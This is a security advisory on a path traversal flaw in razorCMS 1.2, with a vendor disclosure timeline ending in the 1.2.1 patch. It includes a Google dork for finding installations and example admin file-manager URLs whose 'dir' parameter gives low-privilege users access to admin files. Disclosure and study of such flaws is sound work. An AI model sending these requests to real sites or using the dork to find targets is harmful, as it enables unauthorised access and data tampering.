RazorCMS 1.2 – Directory Traversal
# Exploit Title: razorCMS 1.2 Path Traversal # Google Dork: "Powered by razorCMS" # Date: January 10, 2012 # Author: chap0 # Software Link: http://www.razorcms.co.uk/archive/core/ # Version: 1.2 # Tested on: Ubuntu # Patch: Upgrade to latest release 1.2.1 # Greetz To: <Insert Name Here> RazorCMS is vulnerable to Path Traversal, when logged in with a least privileged user account the user can access the administrator's and super administrator's directories and files by changing the path in the url. The vulnerabilities exist in admin_func.php Patch Time line: Dec 11, 2011 - Contacted Vendor Dec 11, 2011 - Vendor Replied ask for details of vulnerability Dec 12, 2011 - Submitted details Dec 13, 2011 - No reply asked for an update Dec 13, 2011 - Vendor Replied asking for a week or two for a fix after the holiday period Dec 20, 2011 - Emailed Vendor for an update Dec 21, 2011 - Vendor confirmed vulnerabilities asked for two weeks time for a fix Dec 27, 2011 - Emailed vendor some "temp fixes" for the vulnerabilities discovered Jan 3, 2012 - Emailed vendor more "temp fixes" Jan 5, 2012 - Vendor replied sent a new updated file v1 admin_func.php Jan 5, 2012 - Replied to vendor discovered more vulnerabilities Jan 6, 2012 - Vendor response with new file with fixes v2 admin_func.php Jan 6, 2012 - Tested discovered more vulnerabilities Jan 8, 2012 - Vendor replied with new file v3 admin_func.php Jan 8, 2012 - Tested, vulnerabilities are fixed reported to vendor Jan 9, 2012 - Vendor released update 1.2.1 Jan 10, 2012 - Public Disclosure Path Traversal Details: The following files and directories are vulnerable to Path Traversal Attack including any files or directories that the admin or super admin may create within these directories http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/ http://razorcms-server/admin/?action=filemanview&dir=backup/ http://razorcms-server/admin/?action=filemanview&dir=/razor_data.txt http://razorcms-server/admin/?action=filemanview&dir=/index.htm http://razorcms-server/admin/?action=fileman&dir=razor_temp_logs/ http://razorcms-server/admin/?action=fileman&dir=backup/ http://razorcms-server/admin/?action=fileman&dir=/razor_data.txt http://razorcms-server/admin/?action=fileman&dir=/index.htm An example would be if the super admin created a directory within razor_temp_logs named sekrit which should not be accessible with a least privileged user, the least privileged user can change the path as shown below: http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/sekrit/ Which also works on files within those directories which the user should not have access to which at this point gives the user access to view, edit, rename, move, copy and delete the file. e.g. http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/sekrit/sekrit.txt Another vulnerability exist in this version of razorCMS, if a least privileged user creates a directory with their logged in credentials, and then deletes the directory, the user will then have access to the administrative directories and files. |